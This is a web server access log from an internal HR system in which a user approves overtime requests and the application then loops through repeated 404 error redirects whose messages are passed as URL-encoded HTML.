192.168.40.39 - - [04/Sep/2025:13:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 54368
192.168.40.39 - - [04/Sep/2025:13:01:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 54368 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:51 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:51 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131064%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131064&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131064%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131064&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:53 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:53 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:53 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131065%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131065&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131065%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131065&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:54 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:55 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:56 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.39 - - [04/Sep/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.39 - - [04/Sep/2025:13:01:57 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
